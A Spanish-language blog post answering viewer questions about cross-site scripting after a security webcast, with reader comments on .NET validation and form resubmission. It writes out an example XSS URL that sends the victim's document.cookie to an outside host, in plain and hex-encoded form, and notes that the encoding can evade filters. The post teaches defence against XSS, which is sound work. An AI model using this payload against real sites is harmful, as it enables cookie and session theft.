Preguntas sobre el Cross Site Scripting – XSS

Luego del tercer webcast de Net Protector que hablaba principalmente sobre el XSS (Cross-Site Scripting) me llegaron unas cuantas preguntas que voy a tratar de responder en este post.


Cesar Verano de Colombia envia esto:


He seguido los 3 webcast que has dado hasta el momento de Net protector y me parecen excelentes; a pesar de que lo he echo outline; pero bueno sin mas preambulos; podrias regalarme algunos links de referencia o explicación un poco mas a fondo a los caracteres especiales que ingresas en la url (%3c, %3e, %20); existe alguna otra forma que no sea el % para pasar caracteres especiales; he investigado un poco y se que es la representación en Hexadecimal.


Por que no los puedo enviar como <?
Para que el % ?


El tema a que te refieres es la canonicalizacion, que básicamente se refiere a las diferentes formas que existen para representar un mismo carácter. Por ejemplo el carácter “<” se puede representar como “&lt;”. Un ejemplo mas practico seria el siguiente url:


Formato ASCII
http://host/a.php?variable=”><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script> 


Formato HEX
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e


Ambas quieren decir lo mismo. Pero si vieras el Formato Hex no te dieras cuanto de que todos esos símbolos lo que representan son códigos de JavaScript. También se utiliza esto para tratar de burlar filtros que crean los usuarios para limpiar caracteres inválidos de los strings, ya que los desarrolladores generalmente toman en cuenta las representaciones ASCII, pero no sus variantes.


Aquí tienes algunos links que hablan al respecto:
http://support.microsoft.com/?kbid=887459
http://www.sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html


Dannyvillata@gmail…. envia esto:


Me llamó mucho la atención la forma en que se puede realizar ataques insertando código realmente es algo q no conocía, un año atrás aproximadamente estuve administrando un foro y ahora me doy cuenta que quizá no estaba protegido de forma adecuada, pero me queda la duda ya que en esa ocasión la tecnología que utilice era PHP para los foros con una base de datos MySQL ya que era la que mi proveedor de hosting me facilitaba de forma automatizada.


La duda q tengo, con respecto al CSS es q si esta inserción de codigo por medio de scripts me habría afectado a mi en esa ocasión con la tecnología MySQL, de la misma forma que hubiera afectado a SQL Server, o si sería una forma diferente de ataque que en vez de utilizar scripts dañinos utilizaran código en php malicioso de forma similar, ¿eso podría pasar?.


Por otro lado he observado que en muchos foros se pone como default para los usuarios que El código HTML esté desactivado, esta sería una forma de evitar este tipo de ataques?


Muchas gracias por las iniciativas que toman junto a microsoft por enseñar, he sido participe de la ALSI, PCE, actualmente estoy preparandome para MCAD y sigo de cerca Net Protector así q muchas gracias por todo.


Para responder tu primera pregunta si, esto te hubiera afectado de igual manera sin importar la tecnologia. Esto esta presente en ASP, JSP, PHP, etc. Y si, la razon de que muchos forums dejen desactivado el HTML es para protegerse de este tipo de ataques.


Gabriel de Chile envia esto:


Hector, soy Gabriel de Chile y estoy en los WebCast de Netprotectos… seria posible que me enviaras los codigos utilizados en el webcast 3 acerca del XSS.


Te voy a dar uno mas completo para que puedas jugar un poco mas con esto:
http://www.cgisecurity.com/articles/xss-faq.shtml

3 thoughts on “Preguntas sobre el Cross Site Scripting – XSS”

  1. Que tal, recien me he integrado a hacer las misiones de net protector, en la sección de XSS no vi que mencionaras la validación que hace por default .net en la cual cuando tu envías un postback con entrada de javascript por ejemplo ya sea en un input o en el query string, y que provoca un error .net y no permite seguir la ejecución, esto es una manera confiable de evitar el CSS?

  2. hola, he estado viendo los WEBCAST de NET PROTECTOR, me parece excelente la información proporcionada, ahora tengo mayor cuidado al desarrollar mi app (yo programo en ASP:NET).

    Bueno, la pregunta va asi:

    Tengo una página web que tiene un textbox, un botón y un GridView. Si es que lleno el textbox con p.ej. “xxx” y apreto el botón, este graba la data en una BD y luego se refresca el gridview con “xxx”. Ok, todo va bien, pero que pasa si es que presiono F5 o Refrescar en el Browser…. pues me pregunta que la página no puede actualizarse sin reenviar información y que se debe reenviar la info. pues si pongo Reintenter (Internet Explorer), entonces se vuelve a grabar xxx en la BD.

    Ahora,¿esto se consideraría una vulnerabilidad?

    ¿Qué tendría que hacer para que se evite esta característica?

    muchas gracias por su tiempo.

    rodrigo caballero

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>